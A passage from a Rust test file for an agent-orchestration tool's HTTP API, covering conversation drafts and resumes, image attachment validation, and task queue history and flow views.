8114 turns.len(),
8115 2,
8116 "the recovered draft must run once: {detail}"
8117 );
8118 assert_eq!(turns[0]["body"], "corrected");
8119 assert_eq!(detail["pending"], "");
8120 }
8121
8122 #[tokio::test]
8123 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
8124 let tmp = TempDir::new().expect("tempdir");
8125 let repo = tmp.path().join("repo");
8126 std::fs::create_dir_all(&repo).expect("repo dir");
8127 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8128 let f = Fixture::with_repo(repo).await;
8129 let id = f.post("/api/talks", None).await.json()["id"]
8130 .as_str()
8131 .expect("id")
8132 .to_owned();
8133 let store = f.talks();
8134 let mut recovered = store.get(&id).expect("opened talk");
8135 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8136 .expect("persist pending draft without a live turn");
8137
8138 let refused = f
8139 .post(
8140 &format!("/api/talks/{id}/say"),
8141 Some(r#"{"text":"new message"}"#),
8142 )
8143 .await;
8144 assert_eq!(refused.status, 409, "{}", refused.body);
8145 assert!(refused.body.contains("resume"), "{}", refused.body);
8146 let saved = store.get(&id).expect("draft remains after refusal");
8147 assert!(saved.turns.is_empty());
8148 assert_eq!(saved.pending, "saved before restart");
8149
8150 let say_path = format!("/api/talks/{id}/say");
8151 let (first, second) = tokio::join!(
8152 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
8153 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
8154 );
8155 assert_eq!(first.status, 409, "{}", first.body);
8156 assert_eq!(second.status, 409, "{}", second.body);
8157 let saved = store
8158 .get(&id)
8159 .expect("draft remains after concurrent refusals");
8160 assert!(saved.turns.is_empty());
8161 assert_eq!(saved.pending, "saved before restart");
8162
8163 let resumed = f
8164 .post(&format!("/api/talks/{id}/pending/resume"), None)
8165 .await;
8166 assert_eq!(resumed.status, 202, "{}", resumed.body);
8167 let duplicate = f
8168 .post(&format!("/api/talks/{id}/pending/resume"), None)
8169 .await;
8170 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
8171
8172 for _ in 0..SETTLE_STEPS {
8173 if store.get(&id).expect("talk").turns.len() == 2 {
8174 break;
8175 }
8176 tokio::time::sleep(Duration::from_millis(10)).await;
8177 }
8178 let finished = store.get(&id).expect("finished talk");
8179 assert_eq!(finished.turns.len(), 2, "{finished:?}");
8180 assert_eq!(finished.turns[0].body, "saved before restart");
8181 assert!(finished.pending.is_empty());
8182 }
8183
8184 #[tokio::test]
8185 async fn an_image_only_recovered_draft_resumes_without_text() {
8186 let (_tmp, _repo, f) = talk_fixture().await;
8187 let id = f.post("/api/talks", None).await.json()["id"]
8188 .as_str()
8189 .expect("id")
8190 .to_owned();
8191 let uploaded = f
8192 .post_bytes(
8193 &format!("/api/talks/{id}/attachments"),
8194 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
8195 PNG_BYTES,
8196 )
8197 .await;
8198 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8199 let attachment = f
8200 .talks()
8201 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
8202 .expect("attachment metadata")
8203 .expect("stored attachment");
8204 let store = f.talks();
8205 let mut recovered = store.get(&id).expect("opened talk");
8206 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
8207
8208 let resumed = f
8209 .post(&format!("/api/talks/{id}/pending/resume"), None)
8210 .await;
8211 assert_eq!(resumed.status, 202, "{}", resumed.body);
8212 for _ in 0..SETTLE_STEPS {
8213 if store.get(&id).expect("talk").turns.len() == 2 {
8214 break;
8215 }
8216 tokio::time::sleep(Duration::from_millis(10)).await;
8217 }
8218 let finished = store.get(&id).expect("finished talk");
8219 assert_eq!(finished.turns.len(), 2, "{finished:?}");
8220 assert!(finished.turns[0].body.is_empty());
8221 assert_eq!(finished.turns[0].attachments.len(), 1);
8222 assert!(finished.pending_attachments.is_empty());
8223 }
8224
8225 #[tokio::test]
8226 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
8227 let (_tmp, _repo, f) = talk_fixture().await;
8228 let id = f.post("/api/talks", None).await.json()["id"]
8229 .as_str()
8230 .expect("id")
8231 .to_owned();
8232 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8233 assert_eq!(closed.status, 200, "{}", closed.body);
8234 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8235 .expect("serialize closed talk");
8236 for (path, body) in [
8237 (format!("/api/talks/{id}/pending/resume"), None),
8238 (
8239 format!("/api/talks/{id}/pending/clear"),
8240 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
8241 ),
8242 (
8243 format!("/api/talks/{id}/pending/edit"),
8244 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
8245 ),
8246 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
8247 ] {
8248 let response = f.post(&path, body).await;
8249 assert_eq!(response.status, 409, "{}", response.body);
8250 }
8251 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8252 .expect("serialize closed talk");
8253 assert_eq!(
8254 after_clear, before_clear,
8255 "clear must not rewrite a closed talk"
8256 );
8257 }
8258
8259 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
8262
8263 #[tokio::test]
8264 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
8265 let tmp = TempDir::new().expect("tempdir");
8266 let repo = tmp.path().join("repo");
8267 std::fs::create_dir_all(&repo).expect("repo dir");
8268 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8269 let f = Fixture::with_repo(repo).await;
8270 let id_a = f.post("/api/talks", None).await.json()["id"]
8271 .as_str()
8272 .unwrap()
8273 .to_owned();
8274 let id_b = f.post("/api/talks", None).await.json()["id"]
8275 .as_str()
8276 .unwrap()
8277 .to_owned();
8278
8279 let a = f
8280 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
8281 .await;
8282 assert_eq!(a.status, 202, "{}", a.body);
8283 assert_eq!(a.json()["thinking"], true);
8284 let b = f
8285 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
8286 .await;
8287 assert_eq!(b.status, 202, "{}", b.body);
8288 assert_eq!(b.json()["thinking"], true);
8289
8290 let listed = f.get("/api/talks").await.json();
8291 for id in [&id_a, &id_b] {
8292 let view = listed
8293 .as_array()
8294 .unwrap()
8295 .iter()
8296 .find(|talk| talk["id"] == *id)
8297 .unwrap();
8298 assert_eq!(view["thinking"], true, "{listed}");
8299 }
8300 let repeated = f
8301 .post(
8302 &format!("/api/talks/{id_a}/say"),
8303 Some(r#"{"text":"again"}"#),
8304 )
8305 .await;
8306 assert_eq!(repeated.status, 202, "{}", repeated.body);
8307 assert_eq!(repeated.json()["pending"], "again");
8308 }
8309
8310 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
8313
8314 #[tokio::test]
8315 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
8316 let f = Fixture::start().await;
8317 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
8318
8319 let res = f
8320 .post_bytes(
8321 &format!("/api/talks/{id}/attachments"),
8322 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
8323 PNG_BYTES,
8324 )
8325 .await;
8326 assert_eq!(res.status, 201, "{}", res.body);
8327 let body = res.json();
8328 assert_eq!(body["name"], "shot.png");
8329 assert_eq!(body["mime"], "image/png");
8330 assert_eq!(body["bytes"], PNG_BYTES.len());
8331 let att_id = body["id"].as_str().expect("id").to_owned();
8332 assert_eq!(
8333 att_id.len(),
8334 32,
8335 "the id must never be a client-suppliable path: {att_id}"
8336 );
8337
8338 let got = f
8339 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
8340 .await;
8341 assert_eq!(got.status, 200, "{}", got.body);
8342 assert_eq!(got.header("content-type"), Some("image/png"));
8343 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
8344 assert_eq!(got.bytes, PNG_BYTES);
8345 }
8346
8347 #[tokio::test]
8348 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
8349 let f = Fixture::start().await;
8350 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
8351
8352 let svg = f
8355 .post_bytes(
8356 &format!("/api/talks/{id}/attachments"),
8357 &[("Content-Type", "image/svg+xml")],
8358 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
8359 )
8360 .await;
8361 assert!(
8362 (400..500).contains(&svg.status),
8363 "svg must be refused: {} {}",
8364 svg.status,
8365 svg.body
8366 );
8367 assert!(svg.body.contains("SVG"), "{}", svg.body);
8368
8369 let text = f
8370 .post_bytes(
8371 &format!("/api/talks/{id}/attachments"),
8372 &[("Content-Type", "text/plain")],
8373 b"just some text",
8374 )
8375 .await;
8376 assert!(
8377 (400..500).contains(&text.status),
8378 "an unlisted type must be refused: {} {}",
8379 text.status,
8380 text.body
8381 );
8382
8383 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
8386 let big = f
8387 .post_bytes(
8388 &format!("/api/talks/{id}/attachments"),
8389 &[("Content-Type", "image/png")],
8390 &oversized,
8391 )
8392 .await;
8393 assert_eq!(
8394 big.status,
8395 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
8396 "{}",
8397 big.body
8398 );
8399 }
8400
8401 #[tokio::test]
8402 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
8403 let f = Fixture::start().await;
8404 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
8405
8406 let res = f
8409 .post_bytes(
8410 &format!("/api/talks/{id}/attachments"),
8411 &[("Content-Type", "image/png")],
8412 b"<html>not a picture</html>",
8413 )
8414 .await;
8415 assert!((400..500).contains(&res.status), "{}", res.body);
8416 }
8417
8418 #[tokio::test]
8419 async fn an_unknown_attachment_id_is_a_404() {
8420 let f = Fixture::start().await;
8421 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
8422
8423 let res = f
8424 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
8425 .await;
8426 assert_eq!(res.status, 404, "{}", res.body);
8427 }
8428
8429 #[tokio::test]
8430 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
8431 let f = Fixture::start().await;
8432 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
8433
8434 let uploaded = f
8435 .post_bytes(
8436 &format!("/api/talks/{id}/attachments"),
8437 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
8438 PNG_BYTES,
8439 )
8440 .await;
8441 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8442 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
8443
8444 let res = f
8445 .post(
8446 &format!("/api/talks/{id}/say"),
8447 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
8448 )
8449 .await;
8450 assert_eq!(res.status, 202, "{}", res.body);
8451 let queued = res.json();
8452 let turns = queued["turns"].as_array().expect("turns array");
8453 assert_eq!(
8454 turns.len(),
8455 1,
8456 "an empty body with an attachment is still a turn: {queued}"
8457 );
8458 assert_eq!(turns[0]["who"], "operator");
8459 assert_eq!(turns[0]["body"], "");
8460 let atts = turns[0]["attachments"]
8461 .as_array()
8462 .expect("attachments array");
8463 assert_eq!(atts.len(), 1);
8464 assert_eq!(atts[0]["id"], att_id);
8465 assert_eq!(atts[0]["mime"], "image/png");
8466
8467 let on_disk = f.talks().get(&id).expect("get");
8470 assert_eq!(on_disk.turns[0].attachments.len(), 1);
8471 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
8472 }
8473
8474 #[tokio::test]
8475 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
8476 let f = Fixture::start().await;
8477 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
8478
8479 let res = f
8480 .post(
8481 &format!("/api/talks/{id}/say"),
8482 Some(&format!(
8483 r#"{{"text":"hi","attachments":["{}"]}}"#,
8484 "a".repeat(32)
8485 )),
8486 )
8487 .await;
8488 assert!((400..500).contains(&res.status), "{}", res.body);
8489 assert!(res.body.contains("unknown attachment"), "{}", res.body);
8490
8491 let on_disk = f.talks().get(&id).expect("get");
8492 assert!(
8493 on_disk.turns.is_empty(),
8494 "a rejected attachment id must not partially record the turn: {:?}",
8495 on_disk.turns
8496 );
8497 }
8498
8499 #[tokio::test]
8500 async fn talk_close_makes_the_talk_refuse_further_turns() {
8501 let f = Fixture::start().await;
8502 let id = seed_talk(&f, "20260904-014455-cd34", "open");
8503
8504 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8505 assert_eq!(closed.status, 200, "{}", closed.body);
8506 assert_eq!(closed.json()["status"], "closed");
8507
8508 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
8510 assert_eq!(closed_again.status, 200);
8511 assert_eq!(closed_again.json()["status"], "closed");
8512
8513 let said = f
8514 .post(
8515 &format!("/api/talks/{id}/say"),
8516 Some(r#"{"text":"too late"}"#),
8517 )
8518 .await;
8519 assert_eq!(said.status, 409, "{}", said.body);
8520 }
8521
8522 #[tokio::test]
8523 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
8524 let (_tmp, _repo, f) = talk_fixture().await;
8525 let id = f.post("/api/talks", None).await.json()["id"]
8526 .as_str()
8527 .expect("id")
8528 .to_owned();
8529 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8530 assert_eq!(closed.status, 200, "{}", closed.body);
8531
8532 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
8533 assert_eq!(reopened.status, 200, "{}", reopened.body);
8534 assert_eq!(reopened.json()["status"], "open");
8535
8536 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
8538 assert_eq!(reopened_again.status, 200);
8539 assert_eq!(reopened_again.json()["status"], "open");
8540
8541 let said = f
8542 .post(
8543 &format!("/api/talks/{id}/say"),
8544 Some(r#"{"text":"still there?"}"#),
8545 )
8546 .await;
8547 assert_eq!(
8548 said.status, 202,
8549 "a reopened talk accepts turns again: {}",
8550 said.body
8551 );
8552 }
8553
8554 #[tokio::test]
8555 async fn talk_reopen_on_an_unknown_id_is_404() {
8556 let f = Fixture::start().await;
8557 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
8558 assert_eq!(res.status, 404, "{}", res.body);
8559 }
8560
8561 #[tokio::test]
8562 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
8563 let f = Fixture::start().await;
8564 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
8565
8566 let deleted = f.delete(&format!("/api/talks/{id}")).await;
8567 assert_eq!(deleted.status, 204, "{}", deleted.body);
8568
8569 let after = f.get(&format!("/api/talks/{id}")).await;
8570 assert_eq!(after.status, 404, "{}", after.body);
8571
8572 let listed = f.get("/api/talks").await.json();
8573 assert!(
8574 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
8575 "a deleted talk must not linger in the list: {listed}"
8576 );
8577 }
8578
8579 #[tokio::test]
8580 async fn talk_delete_on_an_unknown_id_is_404() {
8581 let f = Fixture::start().await;
8582 let res = f.delete("/api/talks/nonexistent-id").await;
8583 assert_eq!(res.status, 404, "{}", res.body);
8584 }
8585
8586 #[tokio::test]
8590 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
8591 let f = Fixture::start().await;
8592 let (a, b, gone) = (
8593 "20260902-140501-aaaa",
8594 "20260902-140502-bbbb",
8595 "20260902-140503-cccc",
8596 );
8597 write_run(&f.runs(), a, RunStatus::Stalled);
8598 let mut review = RunState::new(
8599 PathBuf::from("/repo/magi"),
8600 "main".to_owned(),
8601 "0123456789abcdef".to_owned(),
8602 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
8603 .to_owned(),
8604 Config::default(),
8605 );
8606 review.id = b.to_owned();
8607 review.status = RunStatus::Merged;
8608 write_state(&f.runs(), &review);
8609
8610 let mut task = Task::new(
8611 "retry".to_owned(),
8612 "Do the thing".to_owned(),
8613 PathBuf::from("/repo/magi"),
8614 Source::Human,
8615 );
8616 task.start(a.to_owned());
8617 task.stall("quota");
8618 task.start(a.to_owned());
8619 task.start(b.to_owned());
8620 task.start(gone.to_owned());
8621 f.queue().put(&mut task).expect("file the task");
8622
8623 let res = f.get(&format!("/api/queue/{}", task.id)).await;
8624 assert_eq!(res.status, 200, "{}", res.body);
8625 let v = res.json();
8626 let h = v["history"].as_array().expect("history");
8627 assert_eq!(h.len(), 4, "{v}");
8628 assert_eq!(h[0]["kind"], "competition");
8629 assert_eq!(h[0]["status"], "stalled");
8630 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
8631 assert_eq!(h[1]["kind"], "resume", "{v}");
8632 assert!(
8633 h[0]["outcome"]
8634 .as_str()
8635 .unwrap()
8636 .contains("unknown. Pass #2"),
8637 "an earlier pass of a resumed run must not claim the final outcome: {v}"
8638 );
8639 assert!(
8640 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
8641 "{v}"
8642 );
8643 assert!(
8644 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
8645 "an unrecorded cause must not be narrated as an operator park: {v}"
8646 );
8647 assert_eq!(h[2]["kind"], "review");
8648 assert!(
8649 h[2]["description"]
8650 .as_str()
8651 .unwrap()
8652 .contains("magi/aaaa/A")
8653 );
8654 assert_eq!(h[2]["status"], "merged");
8655 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
8656 assert_eq!(v["runs_unreadable"], 1);
8657 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
8658 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
8659 assert_eq!(nodes[4]["note"], "unreadable");
8660 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
8661 assert_eq!(v["instruction"], "Do the thing");
8662 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
8663
8664 let run = f.get(&format!("/api/runs/{a}")).await.json();
8666 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
8667
8668 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
8669 }
8670
8671 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
8672 let mut s = RunState::new(
8673 PathBuf::from("/repo/magi"),
8674 "main".to_owned(),
8675 "0123456789abcdef".to_owned(),
8676 "Do it".to_owned(),
8677 Config::default(),
8678 );
8679 s.status = status;
8680 edit(&mut s);
8681 s
8682 }
8683
8684 fn flow_task(runs: &[&str]) -> Task {
8685 let mut t = Task::new(
8686 "t".to_owned(),
8687 "Do it".to_owned(),
8688 PathBuf::from("/repo/magi"),
8689 Source::Human,
8690 );
8691 for r in runs {
8692 t.start((*r).to_owned());
8693 }
8694 t
8695 }
8696
8697 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
8698 let h = task_history(task, |id| {
8699 states
8700 .iter()
8701 .find(|(i, _)| *i == id)
8702 .and_then(|(_, s)| s.clone())
8703 });
8704 task_flow(task, &h, 5)
8705 }
8706
8707 #[test]
8708 fn flow_opens_with_the_chat_that_queued_the_task() {
8709 let mut t = flow_task(&[]);
8710 t.source = Source::Agent {
8711 run: "a b/c".to_owned(),
8712 node: crate::queue::CHAT_NODE.to_owned(),
8713 };
8714 let f = flow_for(&t, &[]);
8715 assert_eq!(f.nodes[0].key, "chat");
8716 assert_eq!(f.nodes[0].kind, "chat");
8717 assert_eq!(
8718 f.nodes[0].label,
8719 format!("Chat {}", crate::queue::short("a b/c"))
8720 );
8721 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
8722 assert_eq!(f.nodes[1].key, "start");
8723 assert_eq!(
8724 f.edges[0],
8725 FlowEdge {
8726 from: "chat".to_owned(),
8727 to: "start".to_owned(),
8728 label: "queued from chat".to_owned(),
8729 attempt: AttemptCost::None,
8730 }
8731 );
8732 }
8733
8734 #[test]
8735 fn flow_has_no_chat_box_for_other_sources() {
8736 for source in [
8737 Source::Human,
8738 Source::Issue {
8739 number: 3,
8740 repo: "o/r".to_owned(),
8741 },
8742 Source::Agent {
8743 run: "20260904-014455-ab12".to_owned(),
8744 node: "implement".to_owned(),
8745 },
8746 ] {
8747 let mut t = flow_task(&[]);
8748 t.source = source;
8749 let f = flow_for(&t, &[]);
8750 assert_eq!(f.nodes[0].key, "start");
8751 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
8752 assert!(f.edges.iter().all(|e| e.from != "chat"));
8753 }
8754 }
8755
8756 const FA: &str = "20260902-140501-aaaa";
8757 const FB: &str = "20260902-140502-bbbb";
8758
8759 #[test]
8760 fn flow_follows_blocked_retry_merged_to_done() {
8761 let mut t = flow_task(&[FA, FB]);
8762 t.status = TaskStatus::Done;
8763 let f = flow_for(
8764 &t,
8765 &[
8766 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
8767 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
8768 ],
8769 );
8770 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
8771 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
8772 assert_eq!(f.edges.len(), 3);
8773 assert_eq!(f.edges[0].label, "claimed");
8774 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
8775 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
8776 assert_eq!(f.edges[2].label, "merged \u{2192} done");
8777 assert_eq!(
8778 f.nodes[2].href.as_deref(),
8779 Some("#/runs/20260902-140502-bbbb")
8780 );
8781 assert!(f.nodes[2].decided);
8782 }
8783
8784 #[test]
8785 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
8786 let quota = || {
8787 flow_run(RunStatus::Stalled, |s| {
8788 s.quota.push(crate::run::QuotaLoss {
8789 seat: "judge-1".to_owned(),
8790 node: "judge".to_owned(),
8791 at: Timestamp::now(),
8792 reset: None,
8793 })
8794 })
8795 };
8796 let mut t = flow_task(&[FA, FA]);
8797 t.status = TaskStatus::Queued;
8798 let f = flow_for(&t, &[(FA, Some(quota()))]);
8799 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
8800 assert_eq!(f.nodes[1].note, Some("interrupted"));
8801 assert_eq!(
8802 f.nodes[1].status, None,
8803 "no outcome copied onto an earlier pass"
8804 );
8805 assert_eq!(
8806 f.edges[1].attempt,
8807 AttemptCost::Unknown,
8808 "a resume does not prove the earlier pass was refunded"
8809 );
8810 assert!(f.edges[1].label.contains("resume the same run"));
8811 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
8812 assert_eq!(
8813 f.edges[2].label,
8814 "stalled after a resume, refund unknown \u{2192} queued"
8815 );
8816 assert!(!f.nodes[2].decided, "a stall is not a decision");
8817 assert_eq!(f.nodes[2].note, Some("no verdict"));
8818 }
8819
8820 #[test]
8821 fn flow_single_pass_quota_stall_is_refunded() {
8822 let t = flow_task(&[FA]);
8823 let f = flow_for(
8824 &t,
8825 &[(
8826 FA,
8827 Some(flow_run(RunStatus::Stalled, |s| {
8828 s.quota.push(crate::run::QuotaLoss {
8829 seat: "judge-1".to_owned(),
8830 node: "judge".to_owned(),
8831 at: Timestamp::now(),
8832 reset: None,
8833 })
8834 })),
8835 )],
8836 );
8837 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
8838 }
8839
8840 #[test]
8841 fn flow_parked_refunds_and_stall_without_quota_spends() {
8842 let mut t = flow_task(&[FA]);
8843 t.status = TaskStatus::Queued;
8844 let f = flow_for(
8845 &t,
8846 &[(
8847 FA,
8848 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
8849 )],
8850 );
8851 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
8852 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
8853 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
8854 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
8855 assert!(!f.nodes[1].decided);
8856 }
8857
8858 #[test]
8859 fn flow_keeps_an_unreadable_run_as_its_own_node() {
8860 let t = flow_task(&[FA, FB]);
8861 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
8862 assert_eq!(f.nodes[1].note, Some("unreadable"));
8863 assert!(!f.nodes[1].readable);
8864 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
8865 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
8866 }
8867
8868 #[test]
8869 fn flow_names_the_branch_of_a_review_only_run() {
8870 let t = flow_task(&[FA]);
8871 let f = flow_for(
8872 &t,
8873 &[(
8874 FA,
8875 Some(flow_run(RunStatus::Merged, |s| {
8876 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
8877 })),
8878 )],
8879 );
8880 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
8881 assert_eq!(
8882 f.nodes[1].detail.as_deref(),
8883 Some("review-only run of branch magi/x/A")
8884 );
8885 }
8886
8887 #[test]
8888 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
8889 let mut t = flow_task(&[FA]);
8890 t.status = TaskStatus::Held;
8891 let pr = crate::run::PrRecord {
8892 url: "https://example.test/pr/1".to_owned(),
8893 number: 1,
8894 state: "open".to_owned(),
8895 checks: "green".to_owned(),
8896 round: 0,
8897 rounds: 3,
8898 red_at_merge: Vec::new(),
8899 };
8900 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
8901 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
8902 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
8903 t.status = TaskStatus::Done;
8904 let f = flow_for(&t, &[(FA, Some(blocked))]);
8905 assert_eq!(f.edges[1].label, "closed by hand: task is done");
8906 }
8907
8908 #[test]
8909 fn flow_with_no_runs_goes_from_queued_to_queued() {
8910 let t = flow_task(&[]);
8911 let f = flow_for(&t, &[]);
8912 assert_eq!(f.nodes.len(), 2);
8913 assert_eq!(f.edges.len(), 1);
8914 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
8915 assert_eq!(f.edges[0].attempt, AttemptCost::None);
8916 }
8917
8918 #[test]
8921 fn a_parked_non_terminal_run_is_explained_as_parked() {
8922 let mut s = RunState::new(
8923 PathBuf::from("/repo/magi"),
8924 "main".to_owned(),
8925 "0123456789abcdef".to_owned(),
8926 "Do it".to_owned(),
8927 Config::default(),
8928 );
8929 s.status = RunStatus::Implementing;
8930 s.parked = true;
8931 let task = Task::new(
8932 "t".to_owned(),
8933 "Do it".to_owned(),
8934 PathBuf::from("/repo/magi"),
8935 Source::Human,
8936 );
8937 let v = task_run_view(
8938 "20260902-140501-aaaa",
8939 Some(&s),
8940 RunSlot {
8941 n: 1,
8942 resumed: false,
8943 resumed_later: None,
8944 prior: None,
8945 last: true,
8946 },
8947 &task,
8948 );
8949 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
8950 }
8951
8952 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
8953 let mut s = flow_run(RunStatus::Implementing, edit);
8954 s.parked = false;
8955 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
8956 task_run_view(
8957 "20260902-140501-aaaa",
8958 Some(&s),
8959 RunSlot {
8960 n: 1,
8961 resumed: false,
8962 resumed_later: Some(2),
8963 prior: None,
8964 last: false,
8965 },
8966 &task,
8967 )
8968 }
8969
8970 #[test]
8971 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
8972 let v = earlier_pass_view(|_| {});
8973 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
8974 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
8975 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
8976 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
8977 assert_eq!(v.exit, RunExit::Interrupted);
8978 assert_eq!(v.attempt, AttemptCost::Unknown);
8979 }
8980
8981 #[test]
8982 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
8983 let v = earlier_pass_view(|s| {
8984 s.quota.push(crate::run::QuotaLoss {
8985 seat: "judge-1".to_owned(),
8986 node: "judge".to_owned(),
8987 at: Timestamp::now(),
8988 reset: None,
8989 });
8990 });
8991 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
8992 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
8993 assert_eq!(v.attempt, AttemptCost::Unknown);
8994 }
8995
8996 #[test]
8997 fn the_current_pass_states_its_recorded_cause_and_cost() {
8998 let slot = || RunSlot {
8999 n: 1,
9000 resumed: false,
9001 resumed_later: None,
9002 prior: None,
9003 last: true,
9004 };
9005 let task = flow_task(&["20260902-140501-aaaa"]);
9006 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
9007 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
9008 assert_eq!(
9009 (v.exit, v.attempt),
9010 (RunExit::Parked, AttemptCost::Refunded)
9011 );
9012 let spent = flow_run(RunStatus::Blocked, |_| {});
9013 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
9014 assert_eq!(v.attempt, AttemptCost::Spent);
9015 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
9016 }
9017
9018 #[tokio::test]
9019 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
9020 let f = Fixture::start().await;
9021 let queue = f.queue();
9022 let mut task = Task::new(
9023 "spent".to_owned(),
9024 "Try again".to_owned(),
